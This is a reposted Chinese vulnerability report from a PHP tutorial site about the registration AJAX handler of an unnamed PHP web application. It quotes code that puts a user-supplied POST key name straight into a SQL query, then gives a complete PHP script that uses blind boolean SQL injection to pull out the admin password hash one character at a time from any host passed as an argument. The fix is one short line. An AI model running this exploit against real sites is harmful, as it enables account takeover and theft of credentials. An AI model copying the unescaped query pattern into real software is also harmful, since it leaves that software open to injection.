来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 可以引入单引号, 但是在这里也不需要引入单引号。虽然有360 但是还是能注入出密码。写了个小脚本来跑。(代码很渣 速度很慢 但是还是能跑完整) - - 特么的完全不会写, 太渣了。详...
|
可以引入单引号, 但是在这里也不需要引入单引号。 在model/register.class.php中。
function ajax_reg_action(){
$post = array_keys($_POST);
$key_name = $post[0];
if($key_name=="username"){
$username=@iconv("utf-8","gbk",$_POST['username']);
if($this->config['sy_uc_type']=="uc_center"){
$this->obj->uc_open();
$user = uc_get_user($username);
}else{
$user = $this->obj->DB_select_once("member","`username`='".$username."'");
}
if($this->config['sy_regname']!=""){
$regname=@explode(",",$this->config['sy_regname']);
if(in_array($username,$regname)){
echo 2;die;
}
}
}else{
$user = $this->obj->DB_select_once("member","`".$key_name."`='".$_POST[$key_name]."'");
}
if(is_array($user)){echo 1;}else{echo 0;}
if($key_name=="username"){
$username=@iconv("utf-8","gbk",$_POST['username']);
if($this->config['sy_uc_type']=="uc_center"){
$this->obj->uc_open();
$user = uc_get_user($username);
}else{
<?php
$host=$argv[1];
$yu=1;
for($i=0;$i<120;$i++){
$lenth=strlen($result);
if ($lenth==32){
echo "\r\n";
echo "Ok The password is:$result";
exit;
};
$content="username`or%2Bif(ascii(substr(password,$yu,1))<>$i,1,0)#=asd";
$url = $host.'/index.php?m=register&c=ajax_reg';//接收XML地址
$header = "Content-type: text/xml";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $content);
$response = curl_exec($ch);
if(curl_errno($ch)){
print curl_error($ch);
}
curl_close($ch);
if(eregi('0',$response)){
echo chr($i);
$result.=chr($i);
$lenth=strlen($result);
$yu=++$yu;
$i=0;
}
}
?>
修复方案:限制一下key。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com